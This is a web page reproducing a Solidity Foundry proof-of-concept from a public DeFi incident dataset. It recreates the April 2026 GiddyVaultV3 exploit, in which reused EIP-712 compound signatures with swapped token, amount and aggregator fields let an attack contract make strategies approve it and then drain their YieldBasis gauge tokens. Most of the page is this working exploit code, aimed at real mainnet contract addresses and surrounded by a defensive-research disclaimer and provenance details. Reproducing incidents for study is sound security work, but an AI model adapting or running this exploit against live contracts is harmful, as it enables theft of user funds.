Skip to content
THREATWIRE

Public reproduction file

src/test/2026-04/giddyvaultv3_compound_auth_exp.sol

Public reproduction file for dataset entry GiddyVaultV3.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-04/giddyvaultv3_compound_auth_exp.sol282 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~$1.3M
8// Attacker : 0x81fe3d7d35dfefa15b9e6800b6aefc3358e7b156
9// Attack Contract : 0x7326a1ab0d696ae317958d136d6e4c693ea34528
10// Attack Deployer : 0x50a5312bf627b6be07e60015ed3d418e992d76eb
11// Vulnerable Contract : 0x5f0ad32c00641d1d2bb628ff341e0d4bb4494318
12// Attack Tx : https://etherscan.io/tx/0x5edb66a4c2ea55bba95d36d27713e3bb1c67c3c4199a8a1759e754c6f25482e5
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x5f0ad32c00641d1d2bb628ff341e0d4bb4494318#code
17// @Analysis
18// Twitter guy : https://x.com/DefimonAlerts/status/2047334517535642024
19//
20// GiddyVaultV3 validates EIP-712 compound authorizations using only keccak256(SwapInfo.data).
21// The attacker reused valid signed data while replacing fromToken, toToken, amount, and aggregator.
22// Each compound call made a strategy approve the attacker helper for uint256.max, after which the
23// helper drained the strategy-held YieldBasis gauge tokens to the attacker.
25address constant ATTACKER = 0x81Fe3D7d35dFeFa15b9E6800B6aeFC3358E7b156;
27address constant VAULT_TBTC = 0x9C247ccd24c23EDDBA399701CDA24051EBF605b7;
28address constant VAULT_CBBTC = 0x51b9E3e9871247Ed7C2f07539B99CB97Ae99d080;
29address constant VAULT_WBTC = 0x1D85E7BceAC3605d469debE006b46E9062238e67;
31address constant STRATEGY_TBTC = 0xC99FC715E73294FD03B7C09d9a438A98F6C76ec3;
32address constant STRATEGY_CBBTC = 0x0d5e628A44E7Ec94a2054A6c454127cfe5FcB690;
33address constant STRATEGY_WBTC = 0x870fcD63DB2c68D8079166E311b1118B8aA26eD7;
35address constant YB_TBTC_GAUGE = 0x30ba8b27F2128c770B90C965FF671E08b9310D21;
36address constant YB_CBBTC_GAUGE = 0xf3081A2eB8927C0462864EC3FdbE927C842A0893;
37address constant YB_WBTC_GAUGE = 0xbc56e3edB67b56d598aCE07668b138815F45d7aa;
39uint256 constant TEST_SIGNER_KEY = 0xA11CE;
40bytes32 constant VAULTAUTH_TYPEHASH =
41 keccak256("VaultAuth(bytes32 nonce,uint256 deadline,uint256 amount,bytes[] data)");
43struct SwapInfo {
44 address fromToken;
45 address toToken;
46 uint256 amount;
47 address aggregator;
48 bytes data;
51struct VaultAuth {
52 bytes signature;
53 bytes32 nonce;
54 uint256 deadline;
55 uint256 amount;
56 SwapInfo[] vaultSwaps;
57 SwapInfo[] compoundSwaps;
60interface IGiddyVaultV3 {
61 function DOMAIN_SEPARATOR() external view returns (bytes32);
63 function compound(
64 VaultAuth calldata auth
65 ) external;
68interface IGiddyBaseStrategyV3 {
69 function factory() external view returns (address);
72interface IGiddyStrategyFactory {
73 function owner() external view returns (address);
75 function setAuthorizedSigner(
76 address authorizedSigner,
77 bool authorized
78 ) external;
80 function isAuthorizedSigner(
81 address signer
82 ) external view returns (bool);
85contract ContractTest is BaseTestWithBalanceLog {
86 function setUp() public {
87 uint256 forkBlock = 24_942_491;
88 vm.createSelectFork("mainnet", forkBlock);
90 attacker = ATTACKER;
91 fundingToken = YB_TBTC_GAUGE;
92 multiAssetLog = true;
93 _addFundingToken(YB_TBTC_GAUGE);
94 _addFundingToken(YB_CBBTC_GAUGE);
95 _addFundingToken(YB_WBTC_GAUGE);
97 // Test setup creates valid Giddy signatures without embedding historical router calldata.
98 authorizeTestSigner(STRATEGY_TBTC);
99 authorizeTestSigner(STRATEGY_CBBTC);
100 authorizeTestSigner(STRATEGY_WBTC);
102 vm.label(ATTACKER, "Attacker");
103 vm.label(VAULT_TBTC, "Giddy YieldBasis tBTC Vault");
104 vm.label(VAULT_CBBTC, "Giddy YieldBasis cbBTC Vault");
105 vm.label(VAULT_WBTC, "Giddy YieldBasis WBTC V2 Vault");
106 vm.label(STRATEGY_TBTC, "Giddy tBTC Strategy");
107 vm.label(STRATEGY_CBBTC, "Giddy cbBTC Strategy");
108 vm.label(STRATEGY_WBTC, "Giddy WBTC Strategy");
109 vm.label(YB_TBTC_GAUGE, "g(yb-tBTC)");
110 vm.label(YB_CBBTC_GAUGE, "g(yb-cbBTC)");
111 vm.label(YB_WBTC_GAUGE, "g(yb-WBTC)");
112 vm.label(vm.addr(TEST_SIGNER_KEY), "Local Authorized Signer");
113 }
115 function testExploit() public balanceLog {
116 vm.startPrank(ATTACKER);
117 AttackHelper helper = new AttackHelper();
118 address helperAddress = address(helper);
119 vm.label(helperAddress, "Attack Helper / Fake Token");
121 uint256 tbtcBefore = IERC20(YB_TBTC_GAUGE).balanceOf(ATTACKER);
122 uint256 cbBtcBefore = IERC20(YB_CBBTC_GAUGE).balanceOf(ATTACKER);
123 uint256 wbtcBefore = IERC20(YB_WBTC_GAUGE).balanceOf(ATTACKER);
125 // step 1: submit a valid tBTC compound signature with attacker-controlled swap fields.
126 address[] memory tbtcFakeSwaps = new address[](1);
127 tbtcFakeSwaps[0] = YB_TBTC_GAUGE;
128 helper.run(VAULT_TBTC, STRATEGY_TBTC, YB_TBTC_GAUGE, buildTbtcAuth(helperAddress), tbtcFakeSwaps);
130 // step 2: repeat the same signature-coverage bypass for the cbBTC vault.
131 address[] memory cbBtcFakeSwaps = new address[](2);
132 cbBtcFakeSwaps[0] = YB_CBBTC_GAUGE;
133 cbBtcFakeSwaps[1] = YB_CBBTC_GAUGE;
134 helper.run(VAULT_CBBTC, STRATEGY_CBBTC, YB_CBBTC_GAUGE, buildCbBtcAuth(helperAddress), cbBtcFakeSwaps);
136 // step 3: repeat against the WBTC V2 vault and keep the drained gauge tokens at the attacker EOA.
137 address[] memory wbtcFakeSwaps = new address[](2);
138 wbtcFakeSwaps[0] = YB_WBTC_GAUGE;
139 wbtcFakeSwaps[1] = YB_WBTC_GAUGE;
140 helper.run(VAULT_WBTC, STRATEGY_WBTC, YB_WBTC_GAUGE, buildWbtcAuth(helperAddress), wbtcFakeSwaps);
142 vm.stopPrank();
144 assertGt(IERC20(YB_TBTC_GAUGE).balanceOf(ATTACKER) - tbtcBefore, 3 ether);
145 assertGt(IERC20(YB_CBBTC_GAUGE).balanceOf(ATTACKER) - cbBtcBefore, 6 ether);
146 assertGt(IERC20(YB_WBTC_GAUGE).balanceOf(ATTACKER) - wbtcBefore, 6 ether);
147 }
149 function buildTbtcAuth(
150 address helperAddress
151 ) internal returns (VaultAuth memory auth) {
152 auth.nonce = keccak256(bytes("tx2poc:giddy:tbtc"));
153 auth.deadline = block.timestamp + 1 days;
154 auth.vaultSwaps = new SwapInfo[](0);
155 auth.compoundSwaps = new SwapInfo[](1);
156 auth.compoundSwaps[0] = drainSwap(YB_TBTC_GAUGE, helperAddress);
157 auth.signature = signAuth(VAULT_TBTC, auth);
158 }
160 function buildCbBtcAuth(
161 address helperAddress
162 ) internal returns (VaultAuth memory auth) {
163 auth.nonce = keccak256(bytes("tx2poc:giddy:cbbtc"));
164 auth.deadline = block.timestamp + 1 days;
165 auth.vaultSwaps = new SwapInfo[](0);
166 auth.compoundSwaps = new SwapInfo[](2);
167 auth.compoundSwaps[0] = drainSwap(YB_CBBTC_GAUGE, helperAddress);
168 auth.compoundSwaps[1] = drainSwap(YB_CBBTC_GAUGE, helperAddress);
169 auth.signature = signAuth(VAULT_CBBTC, auth);
170 }
172 function buildWbtcAuth(
173 address helperAddress
174 ) internal returns (VaultAuth memory auth) {
175 auth.nonce = keccak256(bytes("tx2poc:giddy:wbtc"));
176 auth.deadline = block.timestamp + 1 days;
177 auth.vaultSwaps = new SwapInfo[](0);
178 auth.compoundSwaps = new SwapInfo[](2);
179 auth.compoundSwaps[0] = drainSwap(YB_WBTC_GAUGE, helperAddress);
180 auth.compoundSwaps[1] = drainSwap(YB_WBTC_GAUGE, helperAddress);
181 auth.signature = signAuth(VAULT_WBTC, auth);
182 }
184 function drainSwap(
185 address gaugeToken,
186 address helperAddress
187 ) internal pure returns (SwapInfo memory swap) {
188 swap = SwapInfo({
189 fromToken: gaugeToken,
190 toToken: helperAddress,
191 amount: type(uint256).max,
192 aggregator: helperAddress,
193 data: abi.encodeCall(AttackHelper.fakeSwap, ())
194 });
195 }
197 function signAuth(
198 address vault,
199 VaultAuth memory auth
200 ) internal returns (bytes memory signature) {
201 bytes memory dataArray;
202 for (uint256 i = 0; i < auth.vaultSwaps.length; ++i) {
203 dataArray = abi.encodePacked(dataArray, keccak256(auth.vaultSwaps[i].data));
204 }
205 for (uint256 i = 0; i < auth.compoundSwaps.length; ++i) {
206 dataArray = abi.encodePacked(dataArray, keccak256(auth.compoundSwaps[i].data));
207 }
209 bytes32 structHash = keccak256(
210 abi.encodePacked(
211 VAULTAUTH_TYPEHASH, abi.encode(auth.nonce, auth.deadline, auth.amount, keccak256(dataArray))
212 )
213 );
214 bytes32 digest = keccak256(abi.encodePacked("\x19\x01", IGiddyVaultV3(vault).DOMAIN_SEPARATOR(), structHash));
215 (uint8 v, bytes32 r, bytes32 s) = vm.sign(TEST_SIGNER_KEY, digest);
216 signature = abi.encodePacked(r, s, v);
217 }
219 function authorizeTestSigner(
220 address strategy
221 ) internal {
222 address factory = IGiddyBaseStrategyV3(strategy).factory();
223 address signer = vm.addr(TEST_SIGNER_KEY);
224 if (!IGiddyStrategyFactory(factory).isAuthorizedSigner(signer)) {
225 vm.prank(IGiddyStrategyFactory(factory).owner());
226 IGiddyStrategyFactory(factory).setAuthorizedSigner(signer, true);
227 }
228 assertTrue(IGiddyStrategyFactory(factory).isAuthorizedSigner(signer));
229 vm.label(factory, "Giddy Strategy Factory");
230 }
233contract AttackHelper {
234 event Transfer(address indexed from, address indexed to, uint256 amount);
236 mapping(address => uint256) public balanceOf;
237 address[] private queuedSwapTokens;
238 uint256 private queuedSwapIndex;
240 function run(
241 address vault,
242 address strategy,
243 address profitToken,
244 VaultAuth calldata auth,
245 address[] calldata fakeSwapTokens
246 ) external {
247 delete queuedSwapTokens;
248 for (uint256 i = 0; i < fakeSwapTokens.length; ++i) {
249 queuedSwapTokens.push(fakeSwapTokens[i]);
250 }
251 queuedSwapIndex = 0;
253 IGiddyVaultV3(vault).compound(auth);
254 require(queuedSwapIndex == fakeSwapTokens.length, "fake swaps unused");
255 delete queuedSwapTokens;
257 uint256 strategyBalance = IERC20(profitToken).balanceOf(strategy);
258 uint256 approved = IERC20(profitToken).allowance(strategy, address(this));
259 uint256 amountToDrain = strategyBalance < approved ? strategyBalance : approved;
260 require(amountToDrain > 0, "nothing to drain");
261 IERC20(profitToken).transferFrom(strategy, msg.sender, amountToDrain);
262 }
264 function fakeSwap() external {
265 fakeSwapMarker();
266 }
268 fallback() external payable {
269 fakeSwapMarker();
270 }
272 receive() external payable {}
274 function fakeSwapMarker() internal {
275 require(queuedSwapIndex < queuedSwapTokens.length, "unexpected swap");
276 address token = queuedSwapTokens[queuedSwapIndex++];
278 IERC20(token).transferFrom(msg.sender, address(this), 1);
279 balanceOf[msg.sender] += 1;
280 emit Transfer(address(0), msg.sender, 1);
281 }

Analysis

Dataset entry

Public Foundry test for “GiddyVaultV3” (2026-04-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x81fe3d7d35dfefa15b9e6800b6aefc3358e7b156

  • Attack Contract

    0x7326a1ab0d696ae317958d136d6e4c693ea34528

  • Vulnerable Contract

    0x5f0ad32c00641d1d2bb628ff341e0d4bb4494318

  • Attack Tx

    0x5edb66a4c2ea55bba95d36d27713e3bb1c67c3c4199a8a1759e754c6f25482e5

File record

Name
GiddyVaultV3
Path
src/test/2026-04/giddyvaultv3_compound_auth_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
75008345fa4c4aa7e738a1621546c5226be16fc5
Language
Solidity
Size
283 lines
Date
2026-04-23
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-04/giddyvaultv3_compound_auth_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 75008345fa4c4aa7e738a1621546c5226be16fc5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.